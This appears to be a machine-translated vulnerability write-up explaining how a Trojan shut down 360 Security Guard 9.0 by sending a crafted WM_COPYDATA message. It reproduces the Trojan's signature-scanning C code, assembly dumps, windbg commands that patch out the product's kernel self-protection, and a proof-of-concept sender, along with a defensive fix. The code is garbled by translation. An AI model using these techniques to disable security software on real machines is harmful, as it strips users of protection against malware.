Note: The test environment in this article is 360 security guard 9.0. The latest security guard version has fixed this vulnerability.
Symptom
After running a Trojan, you can disable the 360 security guard. After reverse analysis, it is found that the trojan simply runs the following code:
/*
Hmodule h360 = getmodulehandle (text ("safemon. DLL "); int I = 0; for (I = 0; I <0x30000; I ++) {If (memcmp (byte *) (h360 + I), "\ x83 \ xec \ x10 \ x56 \ x8d \ x44 \ x24 \ x04 \ x50", 9) = 0) {break ;}} if (I = 0x30000) {return;} farproc funcget360hwnd = (farproc) (h360 + I); hwnd = (hwnd) funcget360hwnd (); copydatastruct cpdata; cpdata. dwdata = 0x4d47534d; cpdata. cbdata = 0x1000; cpdata. lpdata = msgbuf; // instant data with a length of 0 x bytes, which cannot contain \ x00 \ x00sendmessage (hwnd, wm_copydata, null, (lparam) & cpdata );*/
After we use the authorization code for the migration, the security guard (360tray.exe) will automatically exit. Note: This program must be a program with a window, rather than a console program, because the console program does not load safemon. dll.
Attack principles
The above simple code can cause 360 to be disabled. Let's take a look at what this code has done? First, obtain the module address of safemon. dll. This dll will be loaded for each graphic interface. Then, find a feature code from this module. After analysis, find the following code:
67366570 83EC 10 sub esp, 1067366573 56 push esi67366574 8D4424 04 lea eax, dword ptr [esp+4]67366578 50 push eax67366579 6A 00 push 06736657B 8D4C24 10 lea ecx, dword ptr [esp+10]6736657F 51 push ecx67366580 68 40653667 push 6736654067366585 6A 00 push 067366587 6A 00 push 067366589 C74424 20 E48D4>mov dwordptr [esp+20], 67418DE4 ; ASCII "Q360SafeMonClass"67366591 C74424 24 00000>mov dwordptr [esp+24], 067366599 C74424 28 00000>mov dwordptr [esp+28], 0673665A1 FF15 10D34067 call dword ptr [<&KERNEL32.GetCurrentProcess>] ; kernel32.GetCurrentProcess673665A7 50 push eax673665A8 FF15 58D14067 call dword ptr[<&KERNEL32.CreateRemoteThread>] ; kernel32.CreateRemoteThread673665AE 8BF0 mov esi,eax673665B0 85F6 test esi, esi673665B2 74 10 je short 673665C4673665B4 6A FF push -1673665B6 56 push esi673665B7 FF15 24D14067 call dword ptr [<&KERNEL32.WaitForSingleObject>] ; kernel32.WaitForSingleObject673665BD 56 push esi673665BE FF15 20D34067 call dword ptr[<&KERNEL32.CloseHandle>] ; kernel32.CloseHandle673665C4 8B4424 10 mov eax, dword ptr [esp+10]673665C8 5E pop esi673665C9 83C4 10 add esp, 10673665CC C3 retn
The function is to find the window handle of q360safemonclass. After this code is found, the code is executed to obtain the window handle. Why don't I use findwindow to search for it directly? According to the analysis, some protection measures should be implemented by 360, so you may not find them directly.
After finding this window, the wm_copydata message is sent to him. The dwdata in the copydatastruct structure is 0x4d47534d, the Data Length is 0 × 1000, and the content is random data.
After I write a program to simulate the above function, the process of 360tray is successfully completed, proving that the principle is correct.
Vulnerability debugging
What causes 360tray to be shut down so easily? I decided to debug 360 and start od to prepare to append the 360tray process. I found that it could not be attached and 360 was protected. To debug 360, remove the protection first.
Use xuetr to view the 360 kernel hook points and try to restore them:
After the restoration, the attempt to append the OD still fails, and the refresh hook point has been restored. Of course, 360 should also protect itself. Therefore, windbg enables dual-machine debugging and writes a breakpoint at the hook point. In this way, when the 360 driver recovers, we will drop the NOP.
Then
kd> eb f747ed78 c3kd> u f747ed78Hookport+0xcd78:f747ed78 c3 retf747ed79 ff558b call dword ptr [ebp-75h]f747ed7c ec in al,dxf747ed7d 51 push ecxf747ed7e 51 push ecxf747ed7f 8d45fc lea eax,[ebp-4]f747ed82 50 push eaxf747ed83 ff1594ff47f7 call dword ptr [Hookport+0xdf94 (f747ff94)]kd> g
At this time, as long as the kernel hook point is restored, 360 will be dumb, and then the OD will be used to attach the 360tray process:
Vulnerability Principle
After debugging, it is found that the vsnwprintf compiled by inline in the module 360safemonpro. TPI contains the cause of 360 error exit, which is called here:
Among them, the va_list parameter contains the data transmitted by the wm_copydata message, and an error occurs when _ woutput_l is entered in it:
The source code is:
Output. c
/* Textlen now contains length in multibyte chars */} else {If (text. WZ = NULL)/* nullpassed, use special string */text. WZ = _ wnullstring; bufferiswide = 1; pwch = text. WZ; while (I -- & * pwch) // error ++ pwch; textlen = (INT) (pwch-text. WZ);/* In wchar_ts * // * textlen now contains length in wide chars */}
It seems that 360 of the usage is correct. There is no such vulnerability as overflow here. I think this is a pitfall that Microsoft has dug, and 360 unfortunately fell into it, improper data processing on wm_copydata leads to unmapped memory access.
The following describes how wm_copydata is transmitted from the Internet:
The cross-thread wm_copydata does not use shared memory. Instead, it copies two data senders sendmessage> xxxsendmessagetimeout> xxxintersendmsgex (userallocpoolwithquota allocates kernel memory and copies user data to kernel space) -> setwakebit wake up recipient-> setwakebit waits for the response recipient xxxreceivemessage-> xxxsendmessagetoclient (macro)-> scsendmessagesms (macro)-> sfncopydata (sender side) -> capturecallbackdata (copy data from the kernel space to the user space)-> keusermodecallback (to user mode)-> sfncopydata (handler side)-> Window Process-> return to kernel mode, response sender ...........
Therefore, the transmitted data is not a newly allocated heap, and 0 × 1000 is the memory space mapped to the unit length. It is a space with no headers or tails, once some string operation functions are used to directly access this space, it is easy to cross-border access to memory without ing.
To prove this theory, we can write a message processing function for wm_copydata to simulate the vulnerability generation process:
BOOL CrecvDlg::OnCopyData(CWnd* pWnd, COPYDATASTRUCT* pCopyDataStruct){ wchar_t buf[0x2000]={0}; _snwprintf(buf, 0x2000, L"url=%s", pCopyDataStruct->lpData); return CDialog::OnCopyData(pWnd, pCopyDataStruct);}
This Code seems to be okay. You can use the imported lpdata as a string for processing. Let's write another sending function:
Hwnd = find0000wa ("#32770", "Recv"); If (hwnd) {int Len = 0x1000; // This must be an integer multiple of 0x1000 char * Buf = new char [Len]; memset (BUF, 0x41, Len); copydatastructcpdata; cpdata. dwdata = 0x4d47534d; cpdata. cbdata = Len; cpdata. lpdata = Buf; sendmessage (hwnd, wm_copydata, null, (lparam) & cpdata); Delete [] Buf ;}
After a message is sent, the program that receives the message reports an error. The error point is the one just analyzed.
Summary
Strictly speaking, the problem that caused 360 to be terminated should not be considered a loophole, but Microsoft did not use copydatastruct. the memory of lpdata requires that errors may occur when normal library functions are accessed. To use copydatastruct. lpdata securely, copy the memory and then perform operations.
On the other hand, this vulnerability guides us in the search for 360 vulnerabilities. Any user can control the input.